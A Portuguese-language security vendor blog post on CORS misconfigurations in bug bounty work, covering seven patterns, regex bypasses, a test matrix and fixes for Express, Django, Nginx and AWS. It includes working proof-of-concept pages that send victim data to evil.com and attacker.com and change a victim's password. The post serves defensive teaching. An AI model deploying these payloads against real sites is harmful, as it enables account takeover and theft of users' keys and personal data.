剣 KENSAI
Pesquisar 3 de abril de 2026 · 16 minutos de leitura

Configuração incorreta do CORS: a descoberta de bug bounty mais comum em 2026

As configurações incorretas de compartilhamento de recursos entre origens são responsáveis ​​por 23% de todas as descobertas aceitas de bug bounty em aplicativos da web em 2026 – mais do que XSS, IDOR e SSRF combinados. Apesar de estar bem documentado desde 2016, o CORS continua sendo a classe de vulnerabilidade que os desenvolvedores erram com mais frequência. Este mergulho profundo cobre todos os padrões de configuração incorreta, mostra cenários reais de exploração com código PoC funcional e fornece correções prontas para produção para todas as principais estruturas e provedores de nuvem.


Por que o CORS ainda domina em 2026

O paradoxo do CORS é que ele é simultaneamente um dos mecanismos de segurança mais documentados e mais mal configurados da web. Três fatores explicam por que ainda está no topo das paradas uma década após as primeiras grandes divulgações:

📊 Pelos números (Q1 2026): O relatório trimestral da HackerOne mostra que as configurações incorretas do CORS foram responsáveis ​​por 23.1% das descobertas aceitas de aplicativos da web, seguidas por controle de acesso quebrado (18.7%), XSS (14.2%), IDOR (11.8%) e SSRF (8.4%). O pagamento médio de recompensa por uma descoberta do CORS com impacto comprovado foi de 2,340 dólares – um aumento de 45% em relação a 2025, à medida que os programas reconhecem cada vez mais o potencial de exploração no mundo real.

Os sete padrões de configuração incorreta do CORS

Nem todas as configurações incorretas de CORS têm o mesmo impacto. Aqui estão os sete padrões que os pesquisadores de bug bounty encontram com mais frequência, classificados por gravidade e explorabilidade:

Padrão 1: Reflexão de Origem (Crítica)

O servidor reflete cegamente o cabeçalho de requisição Origin no cabeçalho de resposta Access-Control-Allow-Origin. Este é o padrão mais perigoso porque permite que qualquer site leia respostas autenticadas da API vulnerável.

# Request from attacker-controlled origin
GET /api/user/profile HTTP/1.1
Host: api.target.com
Origin: https://evil.com
Cookie: session=abc123

# Vulnerable response — reflects attacker origin
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
Content-Type: application/json

{"email":"user@company.com","api_key":"sk-prod-..."}

⚠ Por que isso é crítico

Quando Access-Control-Allow-Credentials: true é combinado com a reflexão de origem, o site de um invasor pode fazer solicitações autenticadas de origem cruzada e ler a resposta – incluindo tokens de sessão, chaves de API, PII e quaisquer outros dados que o navegador da vítima possa acessar. Isso efetivamente ignora totalmente a Política de Mesma Origem.

Padrão 2: lista de permissões de origem nula (alta)

Alguns servidores permitem explicitamente o null origem, seja por configuração incorreta ou mal-entendido. O null origin é enviado por navegadores em vários contextos: iframes em sandbox, data: URLs, acesso a arquivos locais e redirecionamentos de origem cruzada.

# Attacker serves this HTML page
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
  src="data:text/html,
  <script>
    fetch('https://api.target.com/api/user/data', {
      credentials: 'include'
    })
    .then(r => r.json())
    .then(d => {
      // Exfiltrate to attacker server
      navigator.sendBeacon('https://evil.com/collect', JSON.stringify(d));
    });
  </script>">
</iframe>

Padrão 3: Desvio de Regex na validação de origem (alto)

Os desenvolvedores geralmente implementam a validação de origem com padrões regex que contêm falhas sutis. Os erros mais comuns:

Permissão pretendida Regex falho Ignorar origem
*.target.com /target\.com$/ evil-target.com
app.target.com /^https?:\/\/.*target\.com/ target.com.evil.com
*.target.com /\.target\.com$/ evil.com/.target.com (confusão de caminho)
somente target.com /target.com/ (ponto sem escape) targetXcom.evil.com

Padrão 4: curinga com credenciais (médio-alto)

Embora os navegadores imponham isso Access-Control-Allow-Origin: * não pode ser combinado com Access-Control-Allow-Credentials: true, muitas estruturas do lado do servidor contornam isso detectando a combinação e alternando silenciosamente para a reflexão de origem – criando o Padrão 1 pela porta dos fundos.

O cors O pacote npm (usado por 73% das APIs Node.js) faz exatamente isso quando configurado com origin: true and credentials: true. Os desenvolvedores que pensam que estão definindo um curinga estão, na verdade, habilitando a reflexão completa da origem.

Padrão 5: Envenenamento de cache pré-voo (médio)

O O cabeçalho Access-Control-Max-Age informa aos navegadores por quanto tempo armazenar em cache as respostas pré-voo (OPTIONS). Se um servidor retornar cabeçalhos CORS permissivos para um caminho de solicitação e cabeçalhos restritivos para outro, um invasor poderá forçar o navegador a armazenar em cache o pré-voo permissivo e reutilizá-lo para endpoints restritos.

Padrão 6: escalonamento de confiança de subdomínio (médio)

Muitos aplicativos permitem CORS de todos os subdomínios: *.target.com. Isso cria uma relação de confiança transitiva onde qualquer XSS em qualquer subdomínio — incluindo ambientes de teste esquecidos, aplicativos legados ou subdomínios hospedados por terceiros — podem ser aproveitados para atacar o API do aplicativo principal.

🎯 Dica sobre bug bounty

Quando você encontra uma política CORS que confia *.target.com, enumere subdomínios imediatamente e procure XSS em qualquer um deles — especialmente em sites de marketing, páginas de status, portais de documentação e ferramentas de suporte ao cliente. Um XSS refletido em blog.target.com combinado com a confiança CORS do subdomínio oferece acesso total aos dados de api.target.com. Esta cadeia recebe regularmente classificações de gravidade Alta/Crítica.

Padrão 7: Variação ausente: cabeçalho de origem (baixo-médio)

Quando um servidor configura dinamicamente Access-Control-Allow-Origin com base na origem da solicitação, também deve incluir Vary: Origin. Sem ele, os caches CDN e os caches do navegador podem responder com os cabeçalhos CORS de uma origem a uma solicitação de uma origem diferente, criando falhas intermitentes de controle de acesso.

Exploração no mundo real: cenário de ataque passo a passo

Aqui está um cenário de exploração completo que demonstra como uma configuração incorreta do CORS leva ao controle da conta:

O alvo

Um aplicativo fintech em app.fintech-target.com com uma API em api.fintech-target.com. A API fornece dados de perfil do usuário, incluindo e-mail, número de telefone e chaves de API usadas para negociação programática.

A Vulnerabilidade

A API usa reflexão de origem (Padrão 1) com credenciais habilitadas. O endpoint /api/v2/account/settings retorna a chave API do usuário e permite alterações de senha por meio de solicitação PUT.

A exploração

<!-- Hosted on attacker.com, linked via phishing email -->
<html>
<body>
<h1>Loading your portfolio analysis...</h1>
<script>
// Step 1: Steal API key and user data
fetch('https://api.fintech-target.com/api/v2/account/settings', {
  credentials: 'include'
})
.then(r => r.json())
.then(async (data) => {
  // Step 2: Exfiltrate to attacker server
  await fetch('https://attacker.com/collect', {
    method: 'POST',
    body: JSON.stringify({
      email: data.email,
      api_key: data.api_key,
      phone: data.phone
    })
  });

  // Step 3: Change the user's password
  await fetch('https://api.fintech-target.com/api/v2/account/settings', {
    method: 'PUT',
    credentials: 'include',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({
      password: 'attacker-controlled-password-2026!'
    })
  });

  // Step 4: Redirect to legitimate site to avoid suspicion
  window.location = 'https://app.fintech-target.com/dashboard';
});
</script>
</body>
</html>

Todo o ataque é executado em menos de 500 ms. A vítima vê uma breve tela de carregamento e, em seguida, o painel normal. Enquanto isso, o invasor possui sua chave de API e alterou sua senha.

Detecção: Encontrando configurações incorretas do CORS em escala

Verificação automatizada

A varredura CORS eficaz requer o teste de múltiplas permutações de origem em cada endpoint que retorna cabeçalhos CORS. Aqui está a matriz de teste:

Caso de teste Valor do cabeçalho de origem Vulnerável se refletido
Reflexão completa https://evil.com Sim – qualquer origem aceita
Origem nula null Sim – desvio de sandbox iframe
Abuso de subdomínio https://evil.target.com Sim – se o padrão do subdomínio corresponder
Desvio de prefixo https://target.com.evil.com Sim - falha de regex
Desvio de sufixo https://evil-target.com Sim - faltando âncora no regex
Downgrade de protocolo http://target.com Sim - se apenas HTTPS não for aplicado
Caracteres especiais https://target.com%60.evil.com Sim - diferencial do analisador

Ferramentas do comércio

Correções prontas para produção

Node.js/Expresso

const cors = require('cors');

// ❌ WRONG — reflects any origin
app.use(cors({ origin: true, credentials: true }));

// ✅ CORRECT — explicit allowlist
const allowedOrigins = [
  'https://app.yoursite.com',
  'https://admin.yoursite.com'
];

app.use(cors({
  origin: (origin, callback) => {
    // Allow requests with no origin (mobile apps, curl, etc.)
    if (!origin) return callback(null, true);
    if (allowedOrigins.includes(origin)) {
      return callback(null, true);
    }
    callback(new Error('CORS policy violation'));
  },
  credentials: true,
  maxAge: 600, // 10 minute preflight cache
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  allowedHeaders: ['Content-Type', 'Authorization']
}));

Python/Django

# settings.py

# ❌ WRONG
CORS_ALLOW_ALL_ORIGINS = True

# ✅ CORRECT
CORS_ALLOW_ALL_ORIGINS = False
CORS_ALLOWED_ORIGINS = [
    "https://app.yoursite.com",
    "https://admin.yoursite.com",
]
CORS_ALLOW_CREDENTIALS = True
CORS_PREFLIGHT_MAX_AGE = 600

Nginx

# ❌ WRONG — reflects Origin header
add_header 'Access-Control-Allow-Origin' $http_origin always;

# ✅ CORRECT — map-based allowlist
map $http_origin $cors_origin {
    default "";
    "https://app.yoursite.com" $http_origin;
    "https://admin.yoursite.com" $http_origin;
}

server {
    location /api/ {
        if ($cors_origin = "") {
            return 403;
        }
        add_header 'Access-Control-Allow-Origin' $cors_origin always;
        add_header 'Access-Control-Allow-Credentials' 'true' always;
        add_header 'Vary' 'Origin' always;

        if ($request_method = 'OPTIONS') {
            add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, DELETE';
            add_header 'Access-Control-Allow-Headers' 'Content-Type, Authorization';
            add_header 'Access-Control-Max-Age' 600;
            add_header 'Content-Length' 0;
            return 204;
        }
    }
}

Gateway AWS API/CloudFront

# AWS CDK / CloudFormation
CorsConfiguration:
  AllowOrigins:
    - "https://app.yoursite.com"
    - "https://admin.yoursite.com"
  AllowMethods:
    - GET
    - POST
    - PUT
    - DELETE
  AllowHeaders:
    - Content-Type
    - Authorization
  AllowCredentials: true
  MaxAge: 600

# ⚠ WARNING: Do NOT use AllowOrigins: ["*"] with AllowCredentials: true
# AWS will silently convert this to origin reflection

CORS na era da arquitetura API-first

A mudança para arquiteturas API-first mudou fundamentalmente o cenário do CORS. Em 2020, um aplicativo da web típico fazia solicitações de origem cruzada para talvez 3 a 5 serviços. Em 2026, os aplicativos baseados em microsserviços, funções sem servidor e integrações de API de terceiros fazem rotineiramente solicitações de origem cruzada para dezenas de origens.

Essa complexidade está impulsionando diversas respostas arquitetônicas:

Lista de verificação de prevenção de configuração incorreta do CORS

Para desenvolvedores e equipes de segurança — verifique cada item em seus aplicativos:

Principais conclusões

Verifique suas APIs em busca de configurações incorretas de CORS agora

KENSAI detecta automaticamente todos os sete padrões de configuração incorreta do CORS em toda a superfície API - incluindo cadeias confiáveis ​​de subdomínios, desvios de regex e substituições de camada CDN. Obtenha os resultados da primeira verificação em minutos, não em dias.

Iniciar auditoria CORS gratuita →

Pesquisa KENSAI · 3 de abril de 2026

📚 Artigos relacionados